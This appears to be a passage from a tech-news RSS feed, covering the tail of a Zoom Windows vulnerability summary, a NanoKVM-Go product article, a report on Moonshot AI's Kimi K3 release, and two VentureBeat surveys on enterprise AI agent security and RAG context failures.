    Alongside CVE-2026-53412, Zoom resolved three high-severity Windows vulnerabilities.  CVE-2026-53411 received a CVSS score of 7.8 and involves an Improper Input Validation flaw in the Zoom Workplace VDI Plugin for Windows before version 6.6.14. The issue could allow an authenticated local user to escalate privileges.  CVE-2026-53410, with a CVSS score of 7.0, is a time-of-check to time-of-use (TOCTOU) race condition affecting the installation and uninstallation process of certain Zoom Windows clients. The flaw could enable an authenticated local user to gain elevated privileges.   It affects Zoom Workplace for Windows before version 7.0.5, Zoom Workplace VDI Client for Windows before versions 6.5.17 and 6.6.14, Zoom Workplace VDI Plugin for Windows before versions 6.5.17 and 6.6.14, Zoom Rooms for Windows before version 7.0.5, and Remote Control for Zoom Contact Center for Windows before version 7.0.0.  The fourth issue, CVE-2026-53409, carries a CVSS score of 7.8 and is an improper privilege management vulnerability affecting Zoom Rooms for Windows before version 7.1.0. It could allow an authenticated local user to escalate privileges through local access.  At the time of publication, there is no evidence that CVE-2026-53412 or the other disclosed vulnerabilities are being actively exploited in real-world attacks. Nevertheless, Zoom recommends users update affected Windows applications as soon as possible to mitigate potential security risks associated with the Zoom Desktop Client and related software.]]>         <![CDATA[NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM]]> https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/ https://tsecurity.de/de/3674731/unix-server/nanokvm-go-brings-ai-powered-hardware-control-to-linux-with-a-compact-usb-c-kvm/ Fri, 17 Jul 2026 00:16:05 +0200 🐧 Unix Server tsecurity.de
    NanoKVM-Go Brings AI-Powered Hardware Control to Linux with a Compact USB-C KVM
    by George Whittaker

    Sipeed has introduced NanoKVM-Go, a compact USB-C KVM-over-IP device that combines remote hardware management with AI integration. Designed for Linux, Windows, macOS, and other USB-C devices, NanoKVM-Go allows users to remotely view and control a system through a web browser while exposing its keyboard, mouse, and display functions to AI agents via the Model Context Protocol (MCP).

    Unlike traditional KVM-over-IP solutions that require multiple cables and dedicated networking hardware, NanoKVM-Go simplifies the setup into a single USB-C connection, making remote administration and AI-assisted automation more accessible for developers, system administrators, and homelab enthusiasts.

    A Portable USB-C KVM

    NanoKVM-Go is roughly the size of a smartwatch, measuring about 45 × 40 × 15 mm, yet it combines several functions into a single device.

    Key hardware features include:

    • USB-C connection for video, audio, keyboard, mouse, and power
    • Wi-Fi 6 connectivity
    • Browser-based remote management
    • Support for virtual USB storage
    • Built-in Tailscale integration for secure remote access
    • Fanless aluminum enclosure with low power consumption

    Because it connects over USB-C using DisplayPort Alt Mode, the device can manage a wide variety of hardware without requiring software installation on the target system.

    Designed for Linux and Beyond

    NanoKVM-Go supports numerous USB-C devices, including:

    • Linux desktops and laptops
    • Windows PCs
    • macOS systems
    • Mini PCs
    • Steam Deck
    • Android devices with DisplayPort Alt Mode
    • iPhone 15 and newer models
    • Tablets supporting USB-C video output

    For Linux users, this provides an easy way to perform BIOS configuration, operating system installation, kernel debugging, or remote troubleshooting—even when the operating system is unavailable.

    AI Integration Through MCP

    One of NanoKVM-Go's defining features is its AI-native design.

    Rather than simply streaming a desktop remotely, the device exposes its KVM functions as an MCP (Model Context Protocol) server, allowing compatible AI agents to interact with the connected computer using hardware-level keyboard and mouse input.

    This enables AI systems to:

    • View the screen
    • Move the mouse
    • Type on the keyboard
    • Launch applications
    • Navigate user interfaces
    • Complete repetitive desktop workflows

    Because control happens at the hardware level, AI agents can interact with systems regardless of the operating system installed.

    Go to Full Article
    ]]>         <![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]> https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/ https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/ Thu, 16 Jul 2026 23:17:55 +0200 📰 IT Nachrichten tsecurity.de Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from Anthropic and OpenAI.

    The release, timed to land just ahead of the 2026 World Artificial Intelligence Conference in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.

    Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take Kimi K3 for a spin right now, you can — just head to kimi.com, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.

    Inside the architecture that powers the world's largest open-source AI model

    Kimi K3 is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than DeepSeek's V4 Pro, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."

    The model is built on two key architectural innovations developed internally at Moonshot AI: Kimi Delta Attention, a hybrid linear attention mechanism, and Attention Residuals, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on GitHub.

    On the API side, Kimi K3 is compatible with the OpenAI SDK, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.

    As Xinhua reported, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."

    Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard

    The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.

    On GDPval-AA v2, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).

    On AA-Briefcase, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).

    Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on BrowseComp, a benchmark for long-horizon, high-difficulty information seeking.

    The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.

    As one widely followed AI commentator put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."

    That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.

    How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions

    Beyond raw benchmarks, Moonshot AI showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.

    In a demonstration documented in the company's technical materials, Kimi K3 was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.

    This is not a production chip. It is a demonstration of what Moonshot AI clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.

    The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal I-Love-Q relation — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.

    Moonshot AI's fall and rise tells the story of China's brutal AI market

    To understand why Kimi K3 matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.

    Founded in 2023 by Yang Zhilin, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its Kimi platform for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly $1.5 billion across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly seeking a new round at $5 billion.

    Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.

    Kimi K3 is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.

    Why open-sourcing the world's biggest model is a geopolitical chess move

    The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.

    The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like DeepSeek (1.6T), Xiaomi (1.02T), and Alibaba (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.

    This follows a broader trend among Chinese AI companies. As Reuters noted, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.

    For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.

    That said, Moonshot AI has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.

    Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play

    Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. Kimi Code, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.

    The Kimi Code CLI has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.

    This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, Claude Code reached $1 billion in annualized recurring revenue. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.

    The company's model lineup now includes three tiers: K3 as the flagship ($3/$15 per million tokens for input/output), K2.7 Code as a specialized coding model ($0.95/$4), and K2.6 as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.

    What Kimi K3 means for the future of enterprise AI and the global model landscape

    Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.

    The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.

    The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.

    And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."

    Xinhua, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.

    Just two years ago, Moonshot AI was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.

    ]]>         <![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]> https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ Thu, 16 Jul 2026 21:47:26 +0200 📰 IT Nachrichten tsecurity.de Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.

    This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

    The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

    What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

    By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

    At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

    Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

    Finding 1: The incidents are already here

    More than half have had an agent security incident or near-miss

    We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

    This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

    Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

    Finding 2: The identity gap

    Only a third give every agent its own scoped identity

    We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

    Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

    The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

    Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

    Finding 3: Observe and enforce, but rarely isolate

    Only three in 10 sandbox their highest-risk agents

    We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

    Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

    Finding 4: Security runs on borrowed, provider-native controls

    Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

    We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

    Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

    The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

    (A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

    Finding 5: And enterprises are comfortable with it

    Satisfaction is high, even as incidents mount and identity lags

    We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

    Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

    Finding 6: Budgets haven’t caught up

    Most spend under a tenth of the security budget on agents

    We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

    Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

    Finding 7: The arms race is even, at best

    Only a third think their AI defenses are ahead of AI-enabled attackers

    We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

    Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

    Finding 8: A security reshuffle is coming

    Nearly six in 10 plan to adopt or switch tooling within a year

    We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

    The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

    Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

    The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

    What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

    The bottom line: A security gap that autonomy will test first

    Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

    The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

    Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

    ]]>         <![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]> https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ Thu, 16 Jul 2026 20:02:44 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

    This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

    The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

    Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

    By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

    At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

    Finding 1: Confident and wrong

    More than half have traced agent errors to bad context

    We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

    This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

    The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

    Finding 2: RAG is the default context source

    Retrieval feeds more agents than any other method

    We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

    Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

    One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

